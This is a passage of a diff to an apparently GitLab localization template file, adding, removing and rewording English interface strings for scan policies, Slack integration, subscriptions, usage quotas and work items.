msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
